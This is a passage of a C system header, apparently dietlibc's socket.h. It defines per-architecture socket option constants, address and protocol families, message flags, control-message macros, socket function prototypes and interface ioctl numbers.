SCM_TIMESTAMP\tSO_TIMESTAMP\n#define SO_PEERSEC\t30\n#define SO_PASSSEC\t34\n#define SO_TIMESTAMPNS\t35\n#define SCM_TIMESTAMPNS\tSO_TIMESTAMPNS\n#define SO_MARK\t\t\t36\n#define SO_TIMESTAMPING\t\t37\n#define SCM_TIMESTAMPING\tSO_TIMESTAMPING\n#define SO_RXQ_OVFL             40\n#define SO_WIFI_STATUS\t\t41\n#define SCM_WIFI_STATUS\t\tSO_WIFI_STATUS\n#define SO_PEEK_OFF\t\t42\n\n/* Instruct lower device to use last 4-bytes of skb data as FCS */\n#define SO_NOFCS\t\t43\n#define SO_LOCK_FILTER\t\t44\n#define SO_SELECT_ERR_QUEUE\t45\n#define SO_BUSY_POLL\t\t46\n#define SO_MAX_PACING_RATE\t47\n#define SO_BPF_EXTENSIONS\t48\n#define SO_INCOMING_CPU\t\t49\n#define SO_ATTACH_BPF\t\t50\n#define SO_DETACH_BPF\t\tSO_DETACH_FILTER\n\n#define SO_ATTACH_REUSEPORT_CBPF\t51\n#define SO_ATTACH_REUSEPORT_EBPF\t52\n\n#define SO_CNX_ADVICE\t\t53\n#define SCM_TIMESTAMPING_OPT_STATS\t54\n#define SO_MEMINFO\t\t55\n#define SO_INCOMING_NAPI_ID\t56\n#define SO_COOKIE\t\t57\n#define SCM_TIMESTAMPING_PKTINFO\t58\n#define SO_PEERGROUPS\t\t59\n#define SO_ZEROCOPY\t\t60\n\n#ifdef __alpha__\n#define SO_SNDBUFFORCE\t0x100a\n#define SO_RCVBUFFORCE\t0x100b\n\n#define\tSO_RCVLOWAT\t0x1010\n#define\tSO_SNDLOWAT\t0x1011\n#define\tSO_RCVTIMEO\t0x1012\n#define\tSO_SNDTIMEO\t0x1013\n#define SO_ACCEPTCONN\t0x1014\n\n#else\n/* mips */\n#define SO_SNDBUFFORCE\t31\n#define SO_RCVBUFFORCE\t33\n\n#define SO_RCVLOWAT\t0x1004\n#define SO_SNDLOWAT\t0x1003\n#define SO_RCVTIMEO\t0x1006\n#define SO_SNDTIMEO\t0x1005\n#define SO_ACCEPTCONN\t0x1009\n\n#endif\n\n#define SO_PROTOCOL\t0x1028\n#define SO_DOMAIN\t0x1029\n\n#define SO_STYLE\tSO_TYPE /* Synonym */\n\n#elif defined(__hppa__)\n#define SOL_SOCKET\t0xffff\n\n#define SO_DEBUG\t0x0001\n#define SO_REUSEADDR\t0x0004\n#define SO_KEEPALIVE\t0x0008\n#define SO_DONTROUTE\t0x0010\n#define SO_BROADCAST\t0x0020\n#define SO_LINGER\t0x0080\n#define SO_OOBINLINE\t0x0100\n#define SO_REUSEPORT\t0x0200\n#define SO_SNDBUF\t0x1001\n#define SO_RCVBUF\t0x1002\n#define SO_SNDLOWAT\t0x1003\n#define SO_RCVLOWAT\t0x1004\n#define SO_SNDTIMEO\t0x1005\n#define SO_RCVTIMEO\t0x1006\n#define SO_ERROR\t0x1007\n#define SO_TYPE\t0x1008\n#define SO_SNDBUFFORCE\t0x100a\n#define SO_RCVBUFFORCE\t0x100b\n\n#define SO_PEERNAME\t0x2000\n\n#define SO_NO_CHECK\t0x400b\n#define SO_PRIORITY\t0x400c\n#define SO_BSDCOMPAT\t0x400e\n#define SO_PASSCRED\t0x4010\n#define SO_PEERCRED\t0x4011\n#define SO_TIMESTAMP\t0x4012\n#define SCM_TIMESTAMP   SO_TIMESTAMP\n#define SO_TIMESTAMPNS\t0x4013\n#define SCM_TIMESTAMPNS\tSO_TIMESTAMPNS\n\n/* Security levels - as per NRL IPv6 - don't actually do anything */\n#define SO_SECURITY_AUTHENTICATION\t0x4016\n#define SO_SECURITY_ENCRYPTION_TRANSPORT\t0x4017\n#define SO_SECURITY_ENCRYPTION_NETWORK\t0x4018\n\n#define SO_BINDTODEVICE\t0x4019\n\n/* Socket filtering */\n#define SO_ATTACH_FILTER\t0x401a\n#define SO_DETACH_FILTER\t0x401b\n#define SO_GET_FILTER\t\tSO_ATTACH_FILTER\n\n#define SO_ACCEPTCONN\t0x401c\n\n#define SO_PEERSEC\t\t0x401d\n#define SO_PASSSEC\t\t0x401e\n\n#define SO_MARK\t\t\t0x401f\n\n#define SO_TIMESTAMPING\t\t0x4020\n#define SCM_TIMESTAMPING\tSO_TIMESTAMPING\n\n#define SO_RXQ_OVFL             0x4021\n\n#define SO_WIFI_STATUS\t\t0x4022\n#define SCM_WIFI_STATUS\t\tSO_WIFI_STATUS\n#define SO_PEEK_OFF\t\t0x4023\n\n/* Instruct lower device to use last 4-bytes of skb data as FCS */\n#define SO_NOFCS\t\t0x4024\n#define SO_LOCK_FILTER\t\t0x4025\n#define SO_SELECT_ERR_QUEUE\t0x4026\n#define SO_BUSY_POLL\t\t0x4027\n#define SO_MAX_PACING_RATE\t0x4028\n#define SO_BPF_EXTENSIONS\t0x4029\n#define SO_INCOMING_CPU\t\t0x402A\n#define SO_ATTACH_BPF\t\t0x402B\n#define SO_DETACH_BPF\t\tSO_DETACH_FILTER\n#define SO_ATTACH_REUSEPORT_CBPF\t0x402C\n#define SO_ATTACH_REUSEPORT_EBPF\t0x402D\n#define SO_CNX_ADVICE\t\t0x402E\n#define SCM_TIMESTAMPING_OPT_STATS\t0x402F\n#define SO_MEMINFO\t\t0x4030\n#define SO_INCOMING_NAPI_ID\t0x4031\n#define SO_COOKIE\t\t0x4032\n#define SCM_TIMESTAMPING_PKTINFO\t0x4033\n#define SO_PEERGROUPS\t\t0x4034\n#define SO_ZEROCOPY\t\t0x4035\n\n#elif defined(__sparc__)\n#define SOL_SOCKET\t0xffff\n\n#define SO_DEBUG\t0x0001\n#define SO_PASSCRED\t0x0002\n#define SO_REUSEADDR\t0x0004\n#define SO_KEEPALIVE\t0x0008\n#define SO_DONTROUTE\t0x0010\n#define SO_BROADCAST\t0x0020\n#define SO_PEERCRED\t0x0040\n#define SO_LINGER\t0x0080\n#define SO_OOBINLINE\t0x0100\n#define SO_REUSEPORT\t0x0200\n#define SO_BSDCOMPAT\t0x0400\n#define SO_RCVLOWAT\t0x0800\n#define SO_SNDLOWAT\t0x1000\n#define SO_RCVTIMEO\t0x2000\n#define SO_SNDTIMEO\t0x4000\n#define SO_ACCEPTCONN\t0x8000\n\n#define SO_DONTLINGER\t(~SO_LINGER)  /* Older SunOS compat. hack */\n\n#define SO_SNDBUF\t0x1001\n#define SO_RCVBUF\t0x1002\n#define SO_SNDBUFFORCE\t0x100a\n#define SO_RCVBUFFORCE\t0x100b\n\n#define SO_ERROR\t0x1007\n#define SO_TYPE\t\t0x1008\n\n#define SO_ATTACH_FILTER\t0x001a\n#define SO_DETACH_FILTER\t0x001b\n#define SO_GET_FILTER\t\tSO_ATTACH_FILTER\n\n#define SO_PEERNAME\t0x001c\n#define SO_TIMESTAMP\t0x001d\n#define SCM_TIMESTAMP\tSO_TIMESTAMP\n\n#define SO_PEERSEC\t\t0x001e\n#define SO_PASSSEC\t\t0x001f\n#define SO_TIMESTAMPNS\t\t0x0021\n#define SCM_TIMESTAMPNS\t\tSO_TIMESTAMPNS\n\n#define SO_MARK\t\t\t0x0022\n\n#define SO_TIMESTAMPING\t\t0x0023\n#define SCM_TIMESTAMPING\tSO_TIMESTAMPING\n\n#define SO_RXQ_OVFL             0x0024\n\n#define SO_WIFI_STATUS\t\t0x0025\n#define SCM_WIFI_STATUS\t\tSO_WIFI_STATUS\n#define SO_PEEK_OFF\t\t0x0026\n\n/* Instruct lower device to use last 4-bytes of skb data as FCS */\n#define SO_NOFCS\t\t0x0027\n#define SO_LOCK_FILTER\t\t0x0028\n#define SO_SELECT_ERR_QUEUE\t0x0029\n#define SO_BUSY_POLL\t\t0x0030\n#define SO_MAX_PACING_RATE\t0x0031\n#define SO_BPF_EXTENSIONS\t0x0032\n#define SO_INCOMING_CPU\t\t0x0033\n#define SO_ATTACH_BPF\t\t0x0034\n#define SO_DETACH_BPF\t\tSO_DETACH_FILTER\n#define SO_ATTACH_REUSEPORT_CBPF\t0x0035\n#define SO_ATTACH_REUSEPORT_EBPF\t0x0036\n#define SO_CNX_ADVICE\t\t0x0037\n#define SCM_TIMESTAMPING_OPT_STATS\t0x0038\n#define SO_MEMINFO\t\t0x0039\n#define SO_INCOMING_NAPI_ID\t0x003a\n#define SO_COOKIE\t\t0x003b\n#define SCM_TIMESTAMPING_PKTINFO\t0x003c\n#define SO_PEERGROUPS\t\t0x003d\n#define SO_ZEROCOPY\t\t0x003e\n\n/* Security levels - as per NRL IPv6 - don't actually do anything */\n#define SO_SECURITY_AUTHENTICATION              0x5001\n#define SO_SECURITY_ENCRYPTION_TRANSPORT        0x5002\n#define SO_SECURITY_ENCRYPTION_NETWORK          0x5004\n\n#else\n\n#define SOL_SOCKET\t1\n\n#define SO_DEBUG\t1\n#define SO_REUSEADDR\t2\n#define SO_TYPE\t\t3\n#define SO_ERROR\t4\n#define SO_DONTROUTE\t5\n#define SO_BROADCAST\t6\n#define SO_SNDBUF\t7\n#define SO_RCVBUF\t8\n#define SO_KEEPALIVE\t9\n#define SO_OOBINLINE\t10\n#define SO_NO_CHECK\t11\n#define SO_PRIORITY\t12\n#define SO_LINGER\t13\n#define SO_BSDCOMPAT\t14\n#define SO_REUSEPORT\t15\n#define SO_PASSCRED\t16\n#define SO_PEERCRED\t17\n#define SO_RCVLOWAT\t18\n#define SO_SNDLOWAT\t19\n#define SO_RCVTIMEO\t20\n#define SO_SNDTIMEO\t21\n\n/* Security levels - as per NRL IPv6 - don't actually do anything */\n#define SO_SECURITY_AUTHENTICATION\t\t22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT\t23\n#define SO_SECURITY_ENCRYPTION_NETWORK\t\t24\n\n#define SO_BINDTODEVICE\t25\n#define SO_ATTACH_FILTER\t26\n#define SO_DETACH_FILTER\t27\n#define SO_GET_FILTER\t\tSO_ATTACH_FILTER\n#define SO_PEERNAME\t\t28\n#define SO_TIMESTAMP\t\t29\n#define SCM_TIMESTAMP\t\tSO_TIMESTAMP\n\n#define SO_ACCEPTCONN\t30\n#define SO_PEERSEC\t\t31\n#define SO_SNDBUFFORCE\t32\n#define SO_RCVBUFFORCE\t33\n#define SO_PASSSEC\t\t34\n#define SO_TIMESTAMPNS\t\t35\n#define SCM_TIMESTAMPNS\t\tSO_TIMESTAMPNS\n\n#define SO_MARK\t\t\t36\n\n#define SO_TIMESTAMPING\t\t37\n#define SCM_TIMESTAMPING\tSO_TIMESTAMPING\n\n#define SO_PROTOCOL\t\t38\n#define SO_DOMAIN\t\t39\n\n#define SO_RXQ_OVFL             40\n\n#define SO_WIFI_STATUS\t\t41\n#define SCM_WIFI_STATUS\tSO_WIFI_STATUS\n#define SO_PEEK_OFF\t\t42\n\n/* Instruct lower device to use last 4-bytes of skb data as FCS */\n#define SO_NOFCS\t\t43\n#define SO_LOCK_FILTER\t\t44\n#define SO_SELECT_ERR_QUEUE\t45\n#define SO_BUSY_POLL\t\t46\n#define SO_MAX_PACING_RATE\t47\n#define SO_BPF_EXTENSIONS\t48\n#define SO_INCOMING_CPU\t\t49\n#define SO_ATTACH_BPF\t\t50\n#define SO_DETACH_BPF\t\tSO_DETACH_FILTER\n#define SO_ATTACH_REUSEPORT_CBPF\t51\n#define SO_ATTACH_REUSEPORT_EBPF\t52\n#define SO_CNX_ADVICE\t\t53\n#define SCM_TIMESTAMPING_OPT_STATS\t54\n#define SO_MEMINFO\t\t55\n#define SO_INCOMING_NAPI_ID\t56\n#define SO_COOKIE\t\t57\n#define SCM_TIMESTAMPING_PKTINFO\t58\n#define SO_PEERGROUPS\t\t59\n#define SO_ZEROCOPY\t\t60\n\n#endif\n\n#if defined(__hppa__) || defined(__alpha__)\n#define SOCK_NONBLOCK 0x40000000\n#else\n#define SOCK_NONBLOCK O_NONBLOCK\n#endif\n#define SOCK_CLOEXEC O_CLOEXEC\n\n/* Socket types. */\n#ifdef __mips__\n#define SOCK_DGRAM\t1\t\t/* datagram (conn.less) socket\t*/\n#define SOCK_STREAM\t2\t\t/* stream (connection) socket\t*/\n#else\n#define SOCK_STREAM\t1\t\t/* stream (connection) socket\t*/\n#define SOCK_DGRAM\t2\t\t/* datagram (conn.less) socket\t*/\n#endif\n#define SOCK_RAW\t3\t\t/* raw socket\t\t\t*/\n#define SOCK_RDM\t4\t\t/* reliably-delivered message\t*/\n#define SOCK_SEQPACKET\t5\t\t/* sequential packet socket\t*/\n#define SOCK_DCCP\t6\t\t/* Datagram Congestion Control Protocol socket */\n#define SOCK_PACKET\t10\t\t/* linux specific way of\t*/\n\t\t\t\t\t/* getting packets at the dev\t*/\n\t\t\t\t\t/* level.  For writing rarp and\t*/\n\t\t\t\t\t/* other similar things on the\t*/\n\t\t\t\t\t/* user level.\t\t\t*/\n\nstruct sockaddr {\n  sa_family_t sa_family;\n  char sa_data[14];\n};\n\nstruct linger {\n  int32_t l_onoff;\n  int32_t l_linger;\n};\n\nstruct msghdr {\n  void* msg_name;\t\t/* Socket name */\n  socklen_t msg_namelen;\t\t/* Length of name */\n  struct iovec* msg_iov;\t/* Data blocks */\n  size_t msg_iovlen;\t\t/* Number of blocks */\n  void* msg_control;\t\t/* Per protocol magic (eg BSD file descriptor passing) */\n  size_t msg_controllen;\t/* Length of cmsg list */\n  uint32_t msg_flags;\n};\n\nstruct cmsghdr {\n  size_t cmsg_len;\t/* data byte count, including hdr */\n  int32_t cmsg_level;\t/* originating protocol */\n  int32_t cmsg_type;\t/* protocol-specific type */\n};\n\n#define UIO_FASTIOV\t8\n#define UIO_MAXIOV\t1024\n\n/* \"Socket\"-level control message types: */\n\n#define SCM_RIGHTS\t0x01\t/* rw: access rights (array of int) */\n#define SCM_CREDENTIALS\t0x02\t/* rw: struct ucred             */\n#define SCM_CONNECT\t0x03\t/* rw: struct scm_connect       */\n\nstruct ucred {\n  pid_t pid;\n  uid_t uid;\n  gid_t gid;\n};\n\n/* Supported address families. */\n#define AF_UNSPEC\t0\n#define AF_UNIX\t\t1\t/* Unix domain sockets \t\t*/\n#define AF_LOCAL\t1\t/* POSIX name for AF_UNIX\t*/\n#define AF_INET\t\t2\t/* Internet IP Protocol \t*/\n#define AF_AX25\t\t3\t/* Amateur Radio AX.25 \t\t*/\n#define AF_IPX\t\t4\t/* Novell IPX \t\t\t*/\n#define AF_APPLETALK\t5\t/* AppleTalk DDP \t\t*/\n#define AF_NETROM\t6\t/* Amateur Radio NET/ROM \t*/\n#define AF_BRIDGE\t7\t/* Multiprotocol bridge \t*/\n#define AF_ATMPVC\t8\t/* ATM PVCs\t\t\t*/\n#define AF_X25\t\t9\t/* Reserved for X.25 project \t*/\n#define AF_INET6\t10\t/* IP version 6\t\t\t*/\n#define AF_ROSE\t\t11\t/* Amateur Radio X.25 PLP\t*/\n#define AF_DECnet\t12\t/* Reserved for DECnet project\t*/\n#define AF_NETBEUI\t13\t/* Reserved for 802.2LLC project*/\n#define AF_SECURITY\t14\t/* Security callback pseudo AF */\n#define AF_KEY\t\t15      /* PF_KEY key management API */\n#define AF_NETLINK\t16\n#define AF_ROUTE\tAF_NETLINK /* Alias to emulate 4.4BSD */\n#define AF_PACKET\t17\t/* Packet family\t\t*/\n#define AF_ASH\t\t18\t/* Ash\t\t\t\t*/\n#define AF_ECONET\t19\t/* Acorn Econet\t\t\t*/\n#define AF_ATMSVC\t20\t/* ATM SVCs\t\t\t*/\n#define AF_SNA\t\t22\t/* Linux SNA Project (nutters!) */\n#define AF_IRDA\t\t23\t/* IRDA sockets\t\t\t*/\n#define AF_PPPOX\t24\t/* PPPoX sockets\t\t*/\n#define AF_WANPIPE\t25\t/* Wanpipe API Sockets */\n#define AF_LLC\t\t26\t/* Linux LLC\t\t\t*/\n#define AF_IB\t\t27\t/* Native InfiniBand address\t*/\n#define AF_MPLS\t\t28\t/* MPLS */\n#define AF_CAN\t\t29\t/* Controller Area Network      */\n#define AF_TIPC\t\t30\t/* TIPC sockets\t\t\t*/\n#define AF_BLUETOOTH\t31\t/* Bluetooth sockets \t\t*/\n#define AF_IUCV\t\t32\t/* IUCV sockets\t\t\t*/\n#define AF_RXRPC\t33\t/* RxRPC sockets \t\t*/\n#define AF_ISDN\t\t34\t/* mISDN sockets \t\t*/\n#define AF_PHONET\t35\t/* Phonet sockets\t\t*/\n#define AF_IEEE802154\t36\t/* IEEE802154 sockets\t\t*/\n#define AF_CAIF\t\t37\t/* CAIF sockets\t\t\t*/\n#define AF_ALG\t\t38\t/* Algorithm sockets\t\t*/\n#define AF_NFC\t\t39\t/* NFC sockets\t\t\t*/\n#define AF_VSOCK\t40\t/* vSockets\t\t\t*/\n#define AF_KCM\t\t41\t/* Kernel Connection Multiplexor*/\n#define AF_QIPCRTR\t42\t/* Qualcomm IPC Router          */\n#define AF_SMC\t\t43\t/* smc sockets: reserve number for\n\t\t\t\t * PF_SMC protocol family that\n\t\t\t\t * reuses AF_INET address family\n\t\t\t\t */\n\n#define AF_MAX\t\t44\t/* For now.. */\n\n/* Protocol families, same as address families. */\n#define PF_UNSPEC\tAF_UNSPEC\n#define PF_UNIX\t\tAF_UNIX\n#define PF_LOCAL\tAF_LOCAL\n#define PF_INET\t\tAF_INET\n#define PF_AX25\t\tAF_AX25\n#define PF_IPX\t\tAF_IPX\n#define PF_APPLETALK\tAF_APPLETALK\n#define\tPF_NETROM\tAF_NETROM\n#define PF_BRIDGE\tAF_BRIDGE\n#define PF_ATMPVC\tAF_ATMPVC\n#define PF_X25\t\tAF_X25\n#define PF_INET6\tAF_INET6\n#define PF_ROSE\t\tAF_ROSE\n#define PF_DECnet\tAF_DECnet\n#define PF_NETBEUI\tAF_NETBEUI\n#define PF_SECURITY\tAF_SECURITY\n#define PF_KEY\t\tAF_KEY\n#define PF_NETLINK\tAF_NETLINK\n#define PF_ROUTE\tAF_ROUTE\n#define PF_PACKET\tAF_PACKET\n#define PF_ASH\t\tAF_ASH\n#define PF_ECONET\tAF_ECONET\n#define PF_ATMSVC\tAF_ATMSVC\n#define PF_SNA\t\tAF_SNA\n#define PF_IRDA\t\tAF_IRDA\n#define PF_PPPOX\tAF_PPPOX\n#define PF_WANPIPE\tAF_WANPIPE\n#define PF_LLC\t\tAF_LLC\n#define PF_IB\t\tAF_IB\n#define PF_MPLS\t\tAF_MPLS\n#define PF_CAN\t\tAF_CAN\n#define PF_TIPC\t\tAF_TIPC\n#define PF_BLUETOOTH\tAF_BLUETOOTH\n#define PF_IUCV\t\tAF_IUCV\n#define PF_RXRPC\tAF_RXRPC\n#define PF_ISDN\t\tAF_ISDN\n#define PF_PHONET\tAF_PHONET\n#define PF_IEEE802154\tAF_IEEE802154\n#define PF_CAIF\t\tAF_CAIF\n#define PF_ALG\t\tAF_ALG\n#define PF_NFC\t\tAF_NFC\n#define PF_VSOCK\tAF_VSOCK\n#define PF_KCM\t\tAF_KCM\n#define PF_QIPCRTR\tAF_QIPCRTR\n#define PF_SMC\t\tAF_SMC\n#define PF_MAX\t\tAF_MAX\n\n/* Maximum queue length specifiable by listen.  */\n#define SOMAXCONN\t128\n\n/* Flags we can use with send/ and recv.\n   Added those for 1003.1g not all are supported yet\n */\n\n#define MSG_OOB\t\t1\n#define MSG_PEEK\t2\n#define MSG_DONTROUTE\t4\n#define MSG_TRYHARD     4       /* Synonym for MSG_DONTROUTE for DECnet */\n#define MSG_CTRUNC\t8\n#define MSG_PROBE\t0x10\t/* Do not send. Only probe path f.e. for MTU */\n#define MSG_TRUNC\t0x20\n#define MSG_DONTWAIT\t0x40\t/* Nonblocking io\t\t */\n#define MSG_EOR         0x80\t/* End of record */\n#define MSG_WAITALL\t0x100\t/* Wait for a full request */\n#define MSG_FIN         0x200\n#define MSG_SYN\t\t0x400\n#define MSG_CONFIRM\t0x800\t/* Confirm path validity */\n#define MSG_RST\t\t0x1000\n#define MSG_ERRQUEUE\t0x2000\t/* Fetch message from error queue */\n#define MSG_NOSIGNAL\t0x4000\t/* Do not generate SIGPIPE */\n#define MSG_MORE\t0x8000\t/* Sender will send more */\n#define MSG_WAITFORONE\t0x10000\t/* recvmmsg(): block until 1+ packets avail */\n#define MSG_SENDPAGE_NOTLAST 0x20000 /* sendpage() internal : not the last page */\n#define MSG_BATCH\t0x40000 /* sendmmsg(): more messages coming */\n#define MSG_EOF         MSG_FIN\n\n#define MSG_ZEROCOPY\t0x4000000\t/* Use user data in kernel path */\n#define MSG_FASTOPEN\t0x20000000\t/* Send data in TCP SYN */\n#define MSG_CMSG_CLOEXEC 0x40000000\t/* Set close_on_exit for file\n\t\t\t\t\t   descriptor received through\n\t\t\t\t\t   SCM_RIGHTS */\n\n/* Setsockoptions(2) level. Thanks to BSD these must match IPPROTO_xxx */\n#define SOL_IP\t\t0\n/* #define SOL_ICMP\t1\tNo-no-no! Due to Linux :-) we cannot use SOL_ICMP=1 */\n#define SOL_TCP\t\t6\n#define SOL_UDP\t\t17\n#define SOL_IPV6\t41\n#define SOL_ICMPV6\t58\n#define SOL_SCTP\t132\n#define SOL_UDPLITE\t136     /* UDP-Lite (RFC 3828) */\n#define SOL_RAW\t\t255\n#define SOL_IPX\t\t256\n#define SOL_AX25\t257\n#define SOL_ATALK\t258\n#define SOL_NETROM\t259\n#define SOL_ROSE\t260\n#define SOL_DECNET\t261\n#define\tSOL_X25\t\t262\n#define SOL_PACKET\t263\n#define SOL_ATM\t\t264\t/* ATM layer (cell level) */\n#define SOL_AAL\t\t265\t/* ATM Adaption Layer (packet level) */\n#define SOL_IRDA        266\n#define SOL_NETBEUI\t267\n#define SOL_LLC\t\t268\n#define SOL_DCCP\t269\n#define SOL_NETLINK\t270\n#define SOL_TIPC\t271\n#define SOL_RXRPC\t272\n#define SOL_PPPOL2TP\t273\n#define SOL_BLUETOOTH\t274\n#define SOL_PNPIPE\t275\n#define SOL_RDS\t\t276\n#define SOL_IUCV\t277\n#define SOL_CAIF\t278\n#define SOL_ALG\t\t279\n#define SOL_NFC\t\t280\n#define SOL_KCM\t\t281\n#define SOL_TLS\t\t282\n\n\n/* IPX options */\n#define IPX_TYPE\t1\n\n#define CMSG_ALIGN(len) ( ((len)+sizeof(long)-1) & ~(sizeof(long)-1) )\n#define __CMSG_NXTHDR(ctl, len, cmsg) __cmsg_nxthdr((ctl),(len),(cmsg))\n#define CMSG_NXTHDR(mhdr, cmsg) cmsg_nxthdr((mhdr), (cmsg))\n\nstatic inline struct cmsghdr* __cmsg_nxthdr(void *__ctl, size_t __size, struct cmsghdr *__cmsg)\n{\n  struct cmsghdr * __ptr;\n  __ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) +  CMSG_ALIGN(__cmsg->cmsg_len));\n  if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)\n    return (struct cmsghdr *)0;\n  return __ptr;\n}\n\nstatic inline struct cmsghdr* cmsg_nxthdr (struct msghdr *__msg, struct cmsghdr *__cmsg)\n{\n  return __cmsg_nxthdr(__msg->msg_control, __msg->msg_controllen, __cmsg);\n}\n\n#define CMSG_DATA(cmsg)\t((void *)((char *)(cmsg) + CMSG_ALIGN(sizeof(struct cmsghdr))))\n#define CMSG_SPACE(len) (CMSG_ALIGN(sizeof(struct cmsghdr)) + CMSG_ALIGN(len))\n#define CMSG_LEN(len) (CMSG_ALIGN(sizeof(struct cmsghdr)) + (len))\n\n#define __CMSG_FIRSTHDR(ctl,len) ((len) >= sizeof(struct cmsghdr) ? \\\n\t\t\t\t  (struct cmsghdr *)(ctl) : \\\n\t\t\t\t  (struct cmsghdr *)NULL)\n#define CMSG_FIRSTHDR(msg)\t__CMSG_FIRSTHDR((msg)->msg_control, (msg)->msg_controllen)\n\nstruct sockaddr_storage {\n  sa_family_t  ss_family;\n  uint32_t  __ss_align;\n  char __ss_padding[(128  - (2 * sizeof (uint32_t ))) ];\n};\n\nint socket(int domain, int type, int protocol) __THROW;\nint accept(int s, struct sockaddr *addr, socklen_t *addrlen) __THROW;\nint connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen) __THROW;\nint bind(int sockfd, const struct sockaddr *my_addr, socklen_t addrlen) __THROW;\n__writememsz__(2,3)\nint recv(int s, void *buf, size_t len, int flags) __THROW;\n__writememsz__(2,3)\nint recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlen) __THROW;\n__writemem__(2)\nint recvmsg(int s, struct msghdr *msg, int flags) __THROW;\n__readmemsz__(2,3)\nint send(int s, const void *msg, size_t len, int flags) __THROW;\n__readmemsz__(2,3)\nint sendto(int s, const void *msg, size_t len, int flags, const struct sockaddr *to, socklen_t tolen) __THROW;\n__readmem__(2)\nint sendmsg(int s, const struct msghdr *msg, int flags) __THROW;\n\nint getpeername(int s, struct sockaddr *name, socklen_t *namelen) __THROW;\nint getsockname(int  s , struct sockaddr * name , socklen_t * namelen) __THROW;\n\nint getsockopt(int s, int level, int optname, void *optval, socklen_t *optlen) __THROW;\nint setsockopt(int s, int level, int optname, const void *optval, socklen_t optlen) __THROW;\n\nint listen(int s, int backlog) __THROW;\n\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\nint shutdown(int s, int how) __THROW;\n\nint socketpair(int d, int type, int protocol, int sv[2]) __THROW;\n\n#ifdef _GNU_SOURCE\nstruct mmsghdr {\n   struct msghdr msg_hdr;  /* Message header */\n   unsigned int  msg_len;  /* Number of bytes transmitted */\n};\n\nint recvmmsg(int sockfd, struct mmsghdr *msgvec, unsigned int vlen,\n\t     unsigned int flags, struct timespec *timeout) __THROW;\nint sendmmsg(int sockfd, struct mmsghdr *msgvec, unsigned int vlen,\n\t     unsigned int flags);\n#endif\n\n/* currently not supported: */\n#define NI_NOFQDN 1\n\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n\nstruct addrinfo {\n  int     ai_flags;\n  int     ai_family;\n  int     ai_socktype;\n  int     ai_protocol;\n  size_t  ai_addrlen;\n  struct sockaddr *ai_addr;\n  char   *ai_canonname;\n  struct addrinfo *ai_next;\n};\n\n__writememsz__(3,4) __writememsz__(5,6)\nint getnameinfo(const struct sockaddr *sa, socklen_t salen, char *host,\n\t\tsize_t hostlen, char *serv, size_t servlen, int flags) __THROW;\nint getaddrinfo(const char *node, const char *service, const struct\n\t\taddrinfo *hints, struct addrinfo **res) __THROW;\nvoid freeaddrinfo(struct addrinfo *res) __THROW;\nconst char *gai_strerror(int errcode) __THROW;\n\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n\n/* flags for getaddrinfo */\n/* do not attempt DNS lookup, node must be numeric IP */\n#define AI_NUMERICHOST 1\n/* ignored by dietlibc */\n#define AI_CANONNAME 2\n/* if node is NULL, return INADDR_ANY / IN6ADDR_ANY_INIT */\n#define AI_PASSIVE 4\n/* do not attempt /etc/services lookup, service must be numeric */\n#define AI_NUMERICSERV 8\n/* ignored by dietlibc */\n#define AI_ADDRCONFIG 16\n/* if hints->ai_protocol=AF_INET6 and no IPv6 addresses found, then\n * return IPv4 addresses as v4-mapped addresses */\n#define AI_V4MAPPED 32\n/* used with AI_V4MAPPED; return IPv6 and v4-mapped addresses */\n#define AI_ALL 64\n\n/* Linux-specific socket ioctls */\n#define SIOCINQ\t\tFIONREAD\n#define SIOCOUTQ\tTIOCOUTQ\n\n/* Routing table calls. */\n#define SIOCADDRT\t0x890B\t\t/* add routing table entry\t*/\n#define SIOCDELRT\t0x890C\t\t/* delete routing table entry\t*/\n#define SIOCRTMSG\t0x890D\t\t/* call to routing system\t*/\n\n/* Socket configuration controls. */\n#define SIOCGIFNAME\t0x8910\t\t/* get iface name\t\t*/\n#define SIOCSIFLINK\t0x8911\t\t/* set iface channel\t\t*/\n#define SIOCGIFCONF\t0x8912\t\t/* get iface list\t\t*/\n#define SIOCGIFFLAGS\t0x8913\t\t/* get flags\t\t\t*/\n#define SIOCSIFFLAGS\t0x8914\t\t/* set flags\t\t\t*/\n#define SIOCGIFADDR\t0x8915\t\t/* get PA address\t\t*/\n#define SIOCSIFADDR\t0x8916\t\t/* set PA address\t\t*/\n#define SIOCGIFDSTADDR\t0x8917\t\t/* get remote PA address\t*/\n#define SIOCSIFDSTADDR\t0x8918\t\t/* set remote PA address\t*/\n#define SIOCGIFBRDADDR\t0x8919\t\t/* get broadcast PA address\t*/\n#define SIOCSIFBRDADDR\t0x891a\t\t/* set broadcast PA address\t*/\n#define SIOCGIFNETMASK\t0x891b\t\t/* get network PA mask\t\t*/\n#define SIOCSIFNETMASK\t0x891c\t\t/* set network PA mask\t\t*/\n#define SIOCGIFMETRIC\t0x891d\t\t/* get metric\t\t\t*/\n#define SIOCSIFMETRIC\t0x891e\t\t/* set metric\t\t\t*/\n#define SIOCGIFMEM\t0x891f\t\t/* get memory address (BSD)\t*/\n#define SIOCSIFMEM\t0x8920\t\t/* set memory address (BSD)\t*/\n#define SIOCGIFMTU\t0x8921\t\t/* get MTU size\t\t\t*/\n#define SIOCSIFMTU\t0x8922\t\t/* set MTU size\t\t\t*/\n#define SIOCSIFNAME\t0x8923\t\t/* set interface name */\n#define SIOCSIFHWADDR\t0x8924\t\t/* set hardware address \t*/\n#define SIOCGIFENCAP\t0x8925\t\t/* get/set encapsulations       */\n#define SIOCSIFENCAP\t0x8926\n#define SIOCGIFHWADDR\t0x8927\t\t/* Get hardware address\t\t*/\n#define SIOCGIFSLAVE\t0x8929\t\t/* Driver slaving support\t*/\n#define SIOCSIFSLAVE\t0x8930\n#define SIOCADDMULTI\t0x8931\t\t/* Multicast 